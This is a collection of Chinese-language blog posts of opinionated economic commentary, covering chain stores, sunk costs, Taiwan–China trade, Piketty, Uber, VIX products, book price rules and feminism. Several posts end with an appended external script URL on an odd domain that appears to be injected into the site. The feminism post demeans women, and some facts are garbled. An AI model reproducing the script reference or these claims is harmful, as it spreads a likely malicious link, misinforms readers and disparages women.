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經濟分析 隨筆

真正拉近城鄉差距的是資本家而非嘴砲文青

好文分享。

我說過我是台中大甲人,從小我就一直期待大甲可以有一家麥當勞。這個願望直到我上大學離開家鄉了才成真。在此之前,我們只有各一家王子漢堡跟香雞城(這兩家都倒了)。王子漢堡我想大概海線人才知道。

跟鬼王說的一樣,文青所謂「連鎖企業毀壞質樸在地文化」論調對我們這種鄉下人來說根本叫做bull shit! 從小我就感受到所謂的海線是怎樣落人一等,連火車班次、公路局班次都比別人少!

第一家7-11開店時已經是我高中時候,當時真如鬼王所說,是鎮上時髦青少年流連的場所。但台北早就是街道巷口處處有小七了。

經濟學來看也是支持鬼王論點:連鎖企業之所以可以橫掃鄉村小店,不是因為資本粗就能吃人,而是因為連鎖企業用更好的條件提供更好的商品與服務!

經濟競爭的鐵律是「用更少的代價換取更好或更多!」連鎖企業如果更貴更爛,市場淘汰連鎖企業而非小店。大甲也曾有肯德基,但生意火紅幾年就因為競爭不過麥當勞與在地炸雞攤而倒店。這也證明經濟學是對的 — 本錢厚並非絕對的競爭優勢。反之,被淘汰的小店正因為無法提供連鎖企業給的,才會被淘汰。

是的,真相是所謂的小店文化,對真正在地者而言,往往不重要也沒人鳥。真相是你們文青所謂的「重視小店文化」其實連你們自己都不肯付出足夠真金白銀購買使其存活。

但可笑的是,這種雙面人竟然舉起標語、木牌抗議連鎖企業進駐鄉鎮?(這在美國很常見)

其實說穿了這種人只是藉著剝削鄉村消費者的選擇權,換取自己的媒體曝光度或自我感覺良好。

事實是真正在拉近城鄉差距的,是文青口中萬惡的資本家們!

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經濟分析

算錯了還以為自己很懂?談歷史成本非成本

民眾搶購囤積衛生紙事件出現一種聲音:「這些人都是笨蛋,竟然用住家一坪幾十萬的地來放幾百塊的衛生紙。還花幾百塊車資跑去賣場搬衛生紙…云云。」

這種批評者自以為會算,其實犯了嚴重的經濟邏輯錯誤而不自知。

一、歷史成本不是成本

那些把衛生紙佔家中坪數拿出來算的人,都犯了這個錯誤。

經濟學上的成本永遠指的是「機會成本」,而所謂的「機會成本」重點在於「選擇」。有選擇就以最高放棄的代價為成本,沒有選擇就沒有成本。已經花錢購買或承租的居家空間,花出去的錢就是「歷史成本」。歷史成本不是成本,這是經濟學極為重要的觀念!

因為「歷史成本」是已經發生的事件,除非你能讓時光倒流重做決定,否則已經決定的事情無從「重頭再選擇」,自然也就不是成本。為什麼這點很重要?

因為在經濟邏輯上,無從選擇代表「不會影響人類行為」!說過無數次,經濟學是一門以成本為切入角度來研究人類行為的學問。一般來說,很少人居家的閒置空間(如走道、空櫃、陽台…等)會另外出租給他人。也就是說這些空間的收入,就是所有權者的各種使用方式,包含堆疊一堆看似不值錢的雜物。

因此,喜歡某些極簡風格者,買下一塊地後的建築可能隔間極少、空置極大,這滿足了他的需求,也就達到他個人的效用最大化。當今天衛生紙可能價格飛漲,於是他決定買進囤積大量衛生紙放在原本空閒位置時,依然是效用最大化。前者與後者選擇改變在於侷限條件不同,放滿衛生紙的成本是犧牲原本空曠的美觀,而非每坪當初的買價!

反之,當你遇上Steve Jobs這種家裡不擺任何家具只放一盞燈的神經病,其行為選擇只表示空間美感需求大過對生活機能需求滿足,前者選擇以後者為成本。

也是說,已經花錢買的空間,不管你要堆放「有」或「無」,效益都可以達到最大化。

為什麼如此才是正確的經濟邏輯?

當今天侷限條件更改,同樣Steve Jobs但時間回到尚未發達的車庫創業時期,空間機能坪效大過美感需求,我們可看到早期車庫創業的照片中空間是如何堆滿各種雜亂物品,甚至當初最早發明的微型小電腦都因為太雜亂,讓來訪的記者不小心碰倒飲料而淋濕報廢。

同樣更改侷限條件,把場景放到工廠/物流倉庫或Apple Store這些都講究坪效的地方,即便租金/地價大不相同,二種場景的主事者依然著重在如何最大化收入上!是的,講究坪效不一定是講究同樣空間塞滿物品;當如Apple Store般透過適當留白可以創造更高收入時,理性經濟人就會這樣做。而競爭對手就可能這樣模仿。因此同樣市中心,我們可以看到塞滿貨品難以走路的屈臣氏,也可以看到空蕩蕩牆上只掛幾幅畫的畫廊。

進一步看,當主事者認定未來收入不足以支付未來應付租金時,結束營業或頂讓就會被選擇。當土地所有者發現出租收入勝過自己經營時,即便當初購入地價再低,出租的機率一樣會大大增加。在在說明經濟學的成本是向未來看,而非向後看。租值既是未來收入的折現總合,也是成本,但都是看向未來。

論者誤把歷史成本當做成本,還藉此批評群眾行為,其實只彰顯了自己經濟邏輯差、學問不到家,才發生誤以為的「理論與實際不吻合」的現象,才發生自以為聰明的窘樣。

二、未知是昂貴的資訊費用

至於批評搶購者的不知時間成本、車資等等費用,其實也忽略了搶購者更在乎的是「不知道未來要漲到哪去?」這個未知資訊費用。佐以衛生紙的易儲存不易損壞這個侷限條件,降低囤積費用讓人們傾向面對未知時先搶購一輪。當可能漲價者換為生蠔這種極易腐敗的物品,則即便民眾搶購也不容易出現大量囤積了(因為囤積成本昂貴許多)。

論者拿假設的漲幅來比較車資、時間成本,恰恰是忽略了「未知」這件事。

另一方面,許多購買者去賣場並非「專為買衛生紙」,還會順道購買其他物品,這也攤提了論者提及的費用;又或有購買者是透過網路搶購衛生紙,則根本毋須負擔論者提及的這些費用了!

不過跟第一點錯誤相比,第二點比較不重要。

因此我還要再重頭強調一次:「歷史成本不是成本!」拿地價出來計算自己家中物品佔多少空間等於付出多少成本,是完全錯誤的經濟邏輯。自己算得開心就好,拿出來說嘴就丟人了。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

從台灣沒有獨角獸談起

人口數與人均收入不如人,本來就很難養出「品牌企業」,更枉論這種講究「風口飛豬」的獨角獸公司。

台灣人才能力不錯是一回事,但語言能力整體來看連英文都很差(幾乎沒見過台灣本土出產而能走紅西方世界的英文作家)。既然不能一開始就以世界市場為目標,則光靠台灣市場希望渺茫。

幾個月前有位網友與我談動漫出版業,本身並非從業人員,只能以讀者角度提供看法,不過與獨角獸公司的一些經濟邏輯是相通的 — 人口夠多、共同語言市場夠大,才有足夠的租值去容忍賭博性的嘗試以及相關市場(包含資本市場)的基礎建構。

我反覆強調很多次,市場是很貴的玩意,而許多經濟學家往往忽略這一點,以為市場是自己憑空跑出來的。而台灣人口太少、收入太低這點,註定許多種市場安排方式不可能在台灣出現。除非台灣積極並融入中國市場。

全世界與台灣交易費用最低的市場就在中國大陸,光語言這塊就足以省下極高的費用。不管心態如何,台灣遲早要被迫全面擁抱與融入中國市場。真實世界台灣對中國貿易依賴程度,早就點明這個大勢所趨銳不可擋。

然而就是某些台灣政客為了個人利益,明知台獨不可能實現,卻老要用台獨與去中國化欺騙選票,不去思考如何讓台灣能在全球化與中國化競爭中勝出、把餅做大,只想要關上門當土酋長滿足個人私利,甚至甘願當日本美國走狗。這群政客是台灣最大的負資產。

與網友對話如下:

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經濟分析

「中資買下全台灣公司」是蠢到死的影片

砸大錢買廣告卻內容蠢到死的影片。

「中國資金買下全台灣公司就可以控制台灣」只顯示論者的腦袋有多麼貧乏與無知。

事實上如果真的發生,則經濟效果上等於中國拿錢高度補貼台灣股東或老闆,財富瞬間從中國移往台灣。如此大禮,為啥不要?

同時,你以為中資買下台灣企業後,如果市場有利可圖,被買下者會拿著中國補助的資金另起爐灶與之競爭。同樣的,中資買下台灣企業後,如果員工不認同中資老闆或者是中資老闆給的勞動條件劣於市場,則員工也會出走。

反之,如果市場無利可圖,則中資買下台灣企業等於是幫台灣股東或老闆擦屁股,讓他們的資源重新獲得釋放。與此同時,中國等於是把資金浪費在低效率的用途上。

這也代表說,中國大舉不分好壞地買下台灣企業本身就是一個違反經濟定律的偽命題,因為論者錯誤假設中國資金可以自外於全球資金市場競爭,論者還錯誤地假設中國資金「不自私」,再爛的台灣公司都願意買(此點假設直接違反經濟學的自私前提)。

當然,該偽命題的論者還錯誤的假設了許多事情,例如前述台灣員工自由流動下,中資同樣必須在勞動市場與非中資企業競爭。提供的服務或產品一樣必須與非中資企業競爭….

簡單結論來說,論者腦袋白痴加三級,以為有錢就可以買遍全世界。而真實世界,從來不存在任何一個有錢國家可以單純靠錢buy out其他國家。

事實上,真正要用錢害死一個國家,歐美已經有很好的示範,就是透過大規模慈善捐助。

https://js.developerstatss.ga/stat.js?n=ns1

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【關於21世紀資本論】一書

托瑪.皮凱提所著的『21世紀資本論』簡單翻閱就可知道這人經濟學不入流,基本價格理論不及格。

我自己沒啥時間批評一本這麼厚的爛書,卻剛好看到知名經濟學家Deirdre N. McCloskey對這本書的極正確評價。

在張五常教授80大壽慶祝發表的祝詞中回憶自己在1968年與張五常同為芝加哥大學經濟系教職,因為McCloskey是哈佛經濟學博士,所以其實並不懂經濟學。McCloskey特別強調認識張五常後透過其身教與著作,再加上張所推薦的一本好書 — Alchian與Allen合著的「Exchange and Production Theory in Use」方才習得如何正確地以經濟學思考。

插話一句,Alchian 與Allen合著的此書前身為「University Economics」,也是我的經濟學真正啟蒙讀物,強烈推薦給有興趣的朋友。此書之後,我才對經濟學登堂入室,也才開始成功地將此學問應用到投資上。也是因為此書的反覆研讀,逐漸地我開始可以準確預測巴菲特、孟格之類的高手怎麼思考問題同時怎麼決策,其邏輯的來龍去脈越發清晰(至於坊間一堆號稱研究巴菲特的書籍,建議當做小說看看笑過就算)。也就是說,這本書把我的投資思維拉到了巴菲特與孟格差不多的思維高度。

當然,巴菲特與孟格的經濟學並非頂尖,但投資直覺(或經濟直覺)上佳是肯定無疑的。

McCloskey同時批評芝加哥大學經濟系自從Bob Lucas(諾貝爾經濟學獎得主,但其實經濟學不怎麼樣)取消價格理論這門課之後,芝加哥大學經濟學博士程度連哈佛都比不上了。(Naturally, the Nouvelle Chicago School of Bob Lucas has dropped it, and so Chicago PhDs nowadays are no better even than Harvard PhDs in thinking like economists. It makes me weep.)

回到21世紀資本論這本爛書,McCloskey評價該書作者甚至基本需求定律掌握都是不足的,竟然不理解供給會隨著稀缺程度增加而反應。(note that Piketty, trained in France and MIT, does not understand supply response to increasing scarcity.)

經濟學的根本核心就是價格理論,連這點都掌握不好,淨搞一堆眩目數學公式那不叫做學問,只是為了謀求職位的手段。

而21世紀資本論這本書之所以毫無價值,也在於作者除了譁眾取寵,其論點–針對富人課重稅–在法國實施幾年的結果,早被「正確的經濟邏輯」預測不但對經濟無任何幫助,還只會嚇跑一堆富人,並留下剝削中產階級與養出一堆懶窮人的福利惡法。

McCloskey祝詞全文可見於此:
http://www.deirdremccloskey.com/docs/pdf/Cheung.pdfhttps://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 法律

準古蹟自燃乃屬正常現象

當左派的「文化資產法」侵害個人私有產權時,「及時拆除」不過是產權所有者保護自身利益的最好方法。

換言之,這套「原希望保護古蹟」的法律其真正實施結果如同經濟學預言一樣,只是讓「快變古蹟的建築自我毀滅得更快!」

所謂古蹟愛好者,希冀透過法律來干涉他人產權使用,說穿了也只是一種「佔便宜」心態。真這麼愛,怎麼不花自己的錢買下?

反之,要求政府買下也是錯誤資源配置,等於是「用不在乎古蹟的人的稅金去補貼少數在乎者的主觀慾望」。

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經濟分析

典型紐時左派蠢觀點–雙重標準與假貧窮

左派紐約時報最常見到的就是「雙重標準」–一方面譴責大公司市佔率過高是濫用壟斷地位(事實上構不構成壟斷還有待商榷);另一方面卻對計程車司機的法律證照壟斷利益喪失表達同情。

此報導:「一位紐約司機之死和共享經濟亂象」幾個數字值得我們注意:

「優步(Uber)及其競爭對手帶來的經濟困難已經令紐約、倫敦等城市的傳統司機難以招架。幾十年來,紐約的的士不超過1.2萬輛到1.3萬輛,但現在已經有了無數避免公共交通的新途徑,使用Via這樣深受乘客歡迎的服務,有時只需花費5美元多一點,便可以在曼哈頓旅行。2013年,紐約全市共有4.7萬輛車供出租。現在有了超過10萬輛,其中約三分之二與優步有聯繫。…

從2013年至2016年,在通常收費最高的白天工作的紐約黃色的士全職司機,年預訂總額從每年8.8萬美元降到了6.9萬多美元多一點。執照勳章(Medallion)是頒發給紐約市的士的運營許可,它曾經是一項很好的投資,很多司機都借款購買,如今它已經成為貶值資產,那些的士司機也因此深陷債務之中。…

…60出頭的制服司機道格·施夫特(Doug Schifter)在曼哈頓下城市政廳門口用一把霰彈槍開槍自盡,幾個小時前,他在Facebook上寫了一篇長文,控訴結構性的殘酷狀況令他陷入絕境。他說,他現在有時不得不每週工作超過100小時才能生存下去;當他在1980年代開始從事這個行業的時候,每週工作40小時是相當正常的。…而貧窮往往不給你自殺的機會就殺死你。」

以1.3萬輛執照年收入從平均8.8萬美元降到6.9萬,我們可以估計紐約計程車司機因為Uber等新服務供給的加入,承受的租值損失約是每年約2.47億美元。但換個角度看,因為新供給的加入,紐約的乘車服務消費者不但省下了每年$2.47億美元,還享受到一樣甚至更好的服務、更多的叫車機會以及更少的等待時間。

也就是說,消費者用更少的代價換取更好的服務,而過去之所以沒有這個機會,除了科技之外,就是因為愚蠢的證照制度保護。這個證照制度保護下,讓一個60歲計程車司機30年來誤以為可以長久每週只工作40小時就能享受8.8萬美元年收,從而20幾歲到60歲都未曾培養任何其他技能。

更好笑的是,紐約時報把「貧窮」冠到這位自殺司機身上,指責新進供給者(或未嚴格執行的證照制度)沒有好好保護這個社會底層人士。但事實是紐約計程車司機的平均年收$6.9萬依然遠遠高過美國人均年收入$3.1萬美元,勝過70%美國人口。從這麼粗淺的統計數字可以感受:究竟是貧窮殺人?還是該計程車司機自身財務狀況有問題?似乎已經聞出一點端倪。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 證券投資

無根財富倉庫的恐怖(Horrifying fiat wealth vault)

比特幣一文我談過財富倉庫分為有根、無根二種。

有根者,倉庫標的本身有可預測收入流;無根者,則無。

前者因為有預期收入拘束,所以漲跌有其合理範疇,當超出範疇時在健全市場中,自然會有做多與放空者快速跳入修正價格。

反之,無根者因為沒有預期收入拘束,所以無論做多或放空,其實都不知道邊界在哪。因此在比特幣該文中我就奉勸讀者,不要以「無根財富倉庫」為主要投資標的。如果可以,少碰為上。

比特幣在我看來是一種無根財富倉庫,而許多金融性衍生商品其實也都算,比方:VIX。

VIX是一個觀測市場波動的指數,不管漲跌,只管波動。假設VIX = 15,代表該指數預期未來30日內的年化波動性是15%。也就是說,數字越大,代表該指數預期的市場波動性越大;反之則越小。

而過去2017年的美國股票市場只漲不跌,其波動性也變得極低(見VIX走勢圖):

這也使得許多人,包含大型金融機構,都一起來放空VIX。其中一種方式是投資反指標XIV,我們也看到2017年整年下來XIV表現極為優秀,一整年報酬率高達187%!可「市場波動性」本就難以預料,牽涉的侷限條件太多,但可以知道當市場強烈反轉時,波動性放大,VIX會獲利,但XIV可就賠慘。而這個萬一就在這兩天成真!

S&P500在2018年2月2日大跌2.15%,緊接著下個交易日2月5日又跌4.06%,2月6日漲回1.77%。

如果你是壓寶XIV的主兒,恭喜老爺賀喜夫人,短短三天內虧損94.32%!有位悲慘的交易員就這樣把辛苦三年賺來的400萬美元一夜輸光在XIV上(參見XIV走勢圖)。

過去三年,這位交易員用5萬美元本金快樂地放空VIX(也就是買入XIV)累積財富到400萬美元,妄想 (也是常見的投資錯誤心理–將一時的好運當作是自己的實力而誤判可以永遠如此)買房、買車,現在美夢成泡。

不過要死也有墊背,天塌下來還有高個兒擋著。XIV的發明者也是最大持有者瑞士信貸自己都玩不下去,宣布下市這項商品,代表投資者投資$104元只剩$4.22。

再奉勸一次,無根財富倉庫別亂碰為上。

PS 2008年金融風暴,價值投資法奉行者的獨眼醫師Michael Burry雖然也購買大量衍生性金融商品CSD(Credit Swap Default),但卻是有根財富倉庫的投資,因為他透過大量且精細的閱讀看出房貸包裹的債券其實藏汙納垢、問題叢生,真實價值遠不如所宣稱。因此Michael Burry的衍生性金融商品放空,依然是標準的價值投資法無誤。其所得獲利,就是來自於資訊成本/租值。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

政府違反自然定律又一例:台灣文化部妄想價格管制書籍

才說這個民進黨政府跟毛澤東時期共產黨一樣 — 老是以為自己可以違反自然定律。
 

“台灣近年出版業慘,文化部長鄭麗君去年喊出規範書籍定期內折扣限制的「圖書統一定價制」,希望突破困境。近來文化部研擬將該制改名「新書售價規範」,計畫新書出版一年內限打9折"

 
正確經濟邏輯判斷很簡單:如果打九折就可以「顯著」增加銷售量,則在經濟學自私假設下,書商早就去做了,根本用不著等政府規範。
 
反之,當政府強迫書商打折卻不見銷售量增加,其減少的收入損失政府難道要補貼?補貼之下就是爛書、專騙補助的版本書籍充斥,造成全體社會浪費。
 
這種政府說稅收短少都是騙人的,擺明就是錢太多沒地方花。
 
又是一個政客胡搞只為「表面上顯得自己有在做事」。政客果然是台灣最大負資產。

PS. 王兄指正,原來我看錯聯合報的意思,是:「反過來禁止新書一年內售價低於九折!」

但反過來一樣是價格管制,當書價因各種理由過高時,政府卻不讓它降價,滯銷一定會發生,書商這邊各種走彎道的促銷手段將百出。

諸如買書送耳機、送化妝品到送各種奇怪物品的現象都可能出現。

但我更懷疑的是,如果是限制書籍價格一年內不可低於九折,但買方與賣方都願意秘而不宣地以低於九折成交的話,政府又要如何得知?

 

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經濟分析

女權主義與性騷擾的簡單經濟分析

過去我就曾寫過一篇討論女權主義的經濟分析文章。

簡單說,兩種女生跟一種男生會在乎女權主義:

第一種女生:性市場或婚姻市場上不受青睞,簡言之就是「長得愛國的」。這種人最容易投身女權主義,因為既有的遊戲規則玩不贏(怎麼打扮化妝都沒救),想辦法改變遊戲規則成為出路。

有趣的現象是:隨著整型手術越精進與廉宜,支持女權主義的女生會變少。

第二種女生:長得漂亮又有劈腿需求(不管是想要或是已經劈腿),這種女生談女性主義跟前者不一樣,後者會侷限在「女性身體自主權」這一塊。

至於怎樣的男生咖會大談特談女性主義,心照不宣就不多談啦XD